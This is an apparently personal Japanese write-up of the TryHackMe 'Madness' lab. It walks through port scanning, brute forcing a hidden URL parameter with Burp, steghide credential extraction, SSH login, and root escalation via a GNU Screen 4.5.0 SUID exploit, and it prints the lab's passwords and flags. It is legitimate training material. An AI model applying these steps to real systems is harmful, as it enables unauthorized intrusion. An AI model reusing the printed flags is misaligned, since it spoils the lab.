【TryHackMe】Madness Writeup

# はじめに
今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[Madness](https://tryhackme.com/r/room/madness)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Task1 Flag Submission
ポートスキャンを行います。
```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.25.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 12:11 JST
Nmap scan report for 10.10.25.33
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds
```

80ポートが空いていたので、実際にアクセスしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/77935ddc-9cce-12ff-8614-9225291f8844.png)

ソースコードにヒントとなりそうな画像データがあったため、wgetコマンドで取得します。
![スクリーンショット 2024-09-29 13.29.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/069ad4cb-a581-aab8-4b29-adc38ca58d37.png)


```
┌──(kali㉿kali)-[~]
└─$ wget http://10.10.25.33/thm.jpg  
--2024-09-29 12:46:17--  http://10.10.25.33/thm.jpg
Connecting to 10.10.25.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22210 (22K) [image/jpeg]
Saving to: ‘thm.jpg’

thm.jpg             100%[================>]  21.69K  82.0KB/s    in 0.3s    

2024-09-29 12:46:18 (82.0 KB/s) - ‘thm.jpg’ saved [22210/22210]
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/1f8ef46d-e8dd-67c6-18f7-5a87b69d32f5.png)

次に画像のバイナリデータを見てみます。
```
┌──(kali㉿kali)-[~]
└─$ ghex thm.jpg
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/4f134aad-c9e6-83b4-3d2c-a9d53a1c200c.png)

このバイナリデータより、どうやらPNGファイルを参照しようとしているとのこと。

ファイル名の拡張子を「png」にしてもダメであった為、バイナリデータを「jpeg」に合わせて修正すれば良いと思い、下記サイトを参考に「jpeg」用に書き換えます。

[参考サイト](https://en.wikipedia.org/wiki/List_of_file_signatures?source=post_page-----8a8080672083--------------------------------)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/c024be7e-d927-a7b7-d30b-6f8adc0e7417.png)

すると画像が変わり、隠しディレクトリが表示されている事を確認しました。
![thm_2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/57bb0db0-7a4a-2410-ef1f-32848d46a38c.jpeg)

アクセスしてみます。
何か「secret」が必要？
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/66a3d107-8c75-4e64-e251-17f4f0642fd4.png)

またソースコードより、0~99の間となるとの記載を確認。
![スクリーンショット 2024-09-29 13.33.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/dd614536-a104-347e-cbb0-d0b637541183.png)

試しに「secret」をURLのパラメータに追加したところ、問題なくページが遷移されたので、その値に対して0〜99を総当たりでアクセスすると予測。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/bb72e6d0-0157-ac3d-6f7b-fb1a22f49a6e.png)

なのでBurp Suiteを使用してブルートフォースを実施します。
インターセプトを有効化して、ページを更新します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/4f454619-f39a-75d1-30b3-08a6bf7a993c.png)

「Intruder」にリクエスト情報を送り、ブルートフォースを行う箇所に任意な文字列を§で囲う形で追加します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/fdd90d3d-a6a4-898f-d448-f7d59221777b.png)

「Payloads」タブでブルートフォースを行う値の設定を行い、実行します。
![スクリーンショット 2024-09-29 14.12.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/e8ed4146-cb64-da5f-2c2a-0ea070bbc395.png)

「73」のみ他とLengthが異なるため、パラメータに指定してアクセスします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/b5c7c893-b9e2-e975-7df2-47e87bfc63e4.png)

何か文字列を入手しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/a478c729-5a71-b649-4ccf-3ad42f78c405.png)

```
Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B
```

この文字列の使い道は、隠しディレクトリが記載された画像に対して、steghideコマンドを実行するのに必要なパスワードらしいです。

```
┌──(kali㉿kali)-[~]
└─$ steghide --extract -sf thm_2.jpg
Enter passphrase: 
wrote extracted data to "hidden.txt".
```

中身を確認すると、何かのユーザ名を入手しました。
おそらく最初のポートスキャンで確認したssh用のユーザ名だと思われます。

```
┌──(kali㉿kali)-[~]
└─$ cat hidden.txt 
Fine you found the password! 

Here's a username 

wbxre

I didn't say I would make it easy for you!
```

ssh用のパスワードは、どうやらTryHackMeのページ内の画像に、それを記載したテキストファイルが埋め込まれているとのこと。

```
┌──(kali㉿kali)-[~]
└─$ steghide --extract -sf Downloads/5iW7kC8.jpg
Enter passphrase: 
wrote extracted data to "password.txt".                                    
```

```
┌──(kali㉿kali)-[~]
└─$ cat password.txt 
I didn't think you'd find me! Congratulations!

Here take my password

*axA&GF8dP
```

sshに必要なログイン情報が揃ったため、いざssh接続を試みるがログインが出来ず、、

どうやらユーザ名に対して、シーザー暗号の解読が必要らしい。
おそらく「joker」が正しい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/f0100492-a6b6-9bab-f978-4daf17dba9b2.png)
[参考サイト](http://www.net.c.dendai.ac.jp/crypto/caesar2.html)

改めて試したところ、ログインが成功しました。
```
┌──(kali㉿kali)-[~]
└─$ ssh joker@10.10.25.33                       
joker@10.10.25.33's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun Jan  5 18:51:33 2020 from 192.168.244.128
joker@ubuntu:~$ 
```

## user.txt

ログイン直後にユーザフラグが記載されたファイルを確認。
```
joker@ubuntu:~$ ls
user.txt
joker@ubuntu:~$ cat user.txt 
THM{d5781e53b130efe2f94f9b0354a5e4ea}
joker@ubuntu:~$ 

```

## root.txt

脆弱であるSUIDのコマンドを探します。
```
joker@ubuntu:~$ find / -user root -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/bin/fusermount
/bin/su
/bin/ping6
/bin/screen-4.5.0
/bin/screen-4.5.0.old
/bin/mount
/bin/ping
/bin/umount
```

この一覧に対して色々調べてみたところ、screen-4.5.0に脆弱性があるとのこと。
searchsploitでエクスプロイトを探します。

```
┌──(kali㉿kali)-[~]
└─$ searchsploit screen 4.5.0
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                             
┌──(kali㉿kali)-[~]

```

見つけたエクスプロイトを、ssh接続先に実行可能なスクリプトとして作成して実行します。
またそのスクリプトには実行権限を付与します。

```
joker@ubuntu:~$ vim screenshot.sh
joker@ubuntu:~$ ls -l screenshot.sh
-rw-rw-r-- 1 joker joker 1153 Sep 28 23:19 screenshot.sh
joker@ubuntu:~$ 
joker@ubuntu:~$ chmod +x screenshot.sh 
joker@ubuntu:~$ ls -l screenshot.sh
-rwxrwxr-x 1 joker joker 1153 Sep 28 23:19 screenshot.sh
```

無事権限が昇格されました。
```
joker@ubuntu:~$ ./screenshot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
There are screens on:
        1389..ubuntu    (Detached)
        1352.pts-0.ubuntu       (Detached)
2 Sockets in /tmp/screens/S-joker.
# 
# whoami
root
```

管理者用のフラグを獲得して完了になります。
```
# cd ../root
# ls
root.txt
# cat root.txt  
THM{5ecd98aa66a6abb670184d7547c8124a}
# 
```

# さいごに
以上となります。